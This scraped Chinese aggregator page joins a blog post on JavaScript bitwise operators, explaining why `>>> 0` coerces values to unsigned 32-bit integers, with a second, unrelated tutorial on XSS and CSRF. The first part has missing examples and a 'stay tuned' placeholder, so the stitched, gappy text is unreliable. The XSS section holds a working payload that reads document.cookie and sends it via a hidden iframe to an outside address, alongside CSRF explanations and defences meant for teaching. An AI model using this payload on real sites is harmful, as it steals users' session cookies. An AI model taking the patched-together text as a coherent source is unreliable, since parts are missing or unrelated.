js >>> 0 谈谈 js 中的位运算
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了js >>> 0 谈谈 js 中的位运算相关的知识,希望对你有一定的参考价值。
参考技术A这不就是无符号右移嘛,当时第一感觉是是为了取绝对值,后来发现并不是,尝试了多次之后,发现情况有点诡异啊,我们使用 chrome 调试工具运行一下 js 中的无符号右移 0 位。
不仅是 null 无符号右移会变成 0 , js 中的其他非数值做此运算都会变成 0 。
接下来我们来看看为什么会这样(事实上不仅仅只是无符号右移是这样)。要理解这个问题需要先明白什么是位运算以及为什么需要位运算,然后搞明白 js 中的位运算有什么特别之处。
敬请期待
(这一部分我是拿 java、go 与 js 做对比的。)
这在 java、go、c 中都是不被允许的
细心的人已经发现,基本类型里并没有浮点型。
事实上在 js 中的 Number 类型是不区分 int、long、float、double 类型的( go 的用户们就呵呵一笑了,来来来,我们的浮点型就能王炸你)。回正题,不区分整型、浮点型那怎么存储呢,为了不丢失精度, js 中的 Number 类型实际上一个基于 IEEE 754 标准的双精度64位浮点数( java 的同学就把它当成 double 看)。看到这我想很多人应该能明白为什么 js 里浮点数也能参与位运算了吧。这也是没有办法,因为对于内存来说整型、浮点型都没有区别了。
这里是有一个问题的,因为当 js 需要进行位运算时,会将操作数通通转成 32 位比特序列(0,1),也就是补码。操作完成之后,再按照 64 位浮点数存储
直接丢弃!!! 曾呐!这么虎?
没错,就是这么暴力,那么问题来了,既然小数部分不参与位运算,那么为什么不能像 java、go 那样直接禁止呢?关于这个问题,我想那就是语言设计者的想法,我就不知道了。但是这其实也带来了一些特别的操作,比如在 js 中双取反是可以做取整操作的。
当 js 需要进行位运算的时候,对于非数值类型,会首先将操作数转成一个整型(就是0)然后在进行运算。这就解释了为什么 js 中可以允许非数值类型参与运算,其实这是个伪命题,因为实质上是对非数值操作数的整型表达式进行的位运算。
这里需要注意,上面说过了 js 中的整型在内存中都是一个 64 位双精度浮点型,但是 js 进行位运算时,会将操作数转成带符号位的 32 位比特序列(0,1),也就是补码。运算结束后,再按照 64 位存储。那么问题来了,这里肯定会存在精度丢失对吧,这应该不难理解。 js 确实也是这样处理的,超过 32 位的部分直接截断。
所以对一个非数值变量做取反操作,得到的一定是 -1,因为实际上等于对 0 做取反操作。
首尾呼应一下,毕竟就是这个问题使我查资料写了这篇文章。
首先解释一下, >>> 无符号右移原本是 java 里特有的(这里是和 js、go 对比,其他语言我没用过,不能乱说)。 js 中的无符号右移跟 java 几乎一样,除了一点两种语言处理方式完全不一样。
那就是并没有真正发生移位的情况下,符号位会不会被替换成0。 java 中是不会替换的,但是 js 中是会发生替换的。
当操作数是正数的时候,不管有没有真的移位并没有区别,因为正数的符号位是 0。
当操作数是负数时,移动位数大于0,也体现不出区别:
但是当操作数是负数,无符号右移 0 位时,区别就大了:
这是因为 -1 的补码是:
>>>0 实际上并没有发生数位变化,但是 js 却会把符号位替换成 0,
此时原来负数的补码,变为了正数的源码(这就是为什么 js 中 -1>>>0 会变成一个巨大的正整数)。
js 中无符号右移时,不管正数、负数都会首先将符号位替换成 0,然后再进行移位。也就是说,该运算符永远返回正整数。
js 的位运算,为什么会有这么多奇怪的地方呢?我相信很多同学都会有这种想法,特别是 java 的同学们吧。为此我查了 js 的历史。
1995 Sun 公司正式发布 java 语言,当时的网景公司正在为它们的 Navigator 浏览器寻找一种网页脚本(此前的浏览器不具备互动能力)。当他们看到 Sun 公司的宣传后,与 Sun 合作开发全新的脚本语言 javascript 。此前我一直不明白 js 既然不是 java 的脚本,为什么叫这个名字。现在懂了,因为当时新脚本语言的决策中, Sun 公司占了很大一环。
1995年5月 按照公司的要求(一个像 java 但是比 java 简单的脚本语言), Brendan Eich 仅用10天就写出了 javascript 。
在我们膜拜大神的时候,也要认清一个现实,当时给 Brendan Eich 的时间太短了,所以很多问题并没有很好的解决,而且一边模仿 java、c ,一边还要简化数据类型、内存模型。我觉得这就是为什么 js 的位运算这么奇怪的原因。
js 完全套用了 java 的位运算符。
但是 java 的位运算是针对整数的,对 js 没什么用啊,因为 js 中,所有数字都保存为双精度浮点型。如果使用它们的话, js 不得不将操作数先转为整数,然后再进行运算。
所以很多人不建议在 js 中使用位运算,理由是 js 天生就会进行类型转换,使得效率降低。
谈谈XSS&CSRF
XSS
Cross site scripting,全称“跨站脚本”
特点是不对服务器造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论时,提交含有js的内容文本,而服务器没有过滤掉或者转义掉这些脚本,作为内容发布到页面上,那么其他用户在访问的时候就会运行这些脚本。
for example:
// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
防范方法:
httpOnly 设置cookie能否通过js来访问,拥有httpOnly的cookie只能被服务器访问,客户端不能访问,可以用来防止XSS脚本攻击;
对输入进行过滤或转义。
CSRF
Cross-site request forgery,全称“跨站请求伪造”;
可以理解为伪造请求,冒充用户在站内的正常操作;
一个CSRF攻击需要两个条件:
登录了一个受信任的网站A,并且本地存放了cookie;
在不关闭A的情况下,访问了危险网站B。
攻击原理
当网页发起http请求的时候,浏览器首先会检查是否有对应域名的cookie,如果有,就会自动添加到request header中,发送给服务器;
绝大多数网站是通过cookie等方式来辨识用户身份;
for example:
Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。
用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
我们知道cookie是不能跨域的,那Web B是怎么把用户的在Web A的cookie发送出去的呢?
假设攻击者构造的是一个自动提交表单的页面,攻击者虽然无法获知 cookie ,在Web B返回的自动提交表单页面将表单的 action 指向 Web A ,表单提交的 POST 请求就会带上用户在 Web A里的 cookie。
还有就是<a>
标签和image
标签(GET型的CSRF的攻击手段),浏览器都会自动带上cookie。
防范:
使用验证码;token(令牌);
验证 HTTP Referer 字段。
结语
以上就是关于csrf和xss攻击的小小总结,关于两种攻击的防范方法写的不是很全,有兴趣,可以上网看一下~理解了原理,对于防范方法的理解会容易很多。再附上两个参考链接:
https://www.jianshu.com/p/78f65023cf9d
http://adoyle.me/blog/how-csrf-works.html
以上是关于js >>> 0 谈谈 js 中的位运算的主要内容,如果未能解决你的问题,请参考以下文章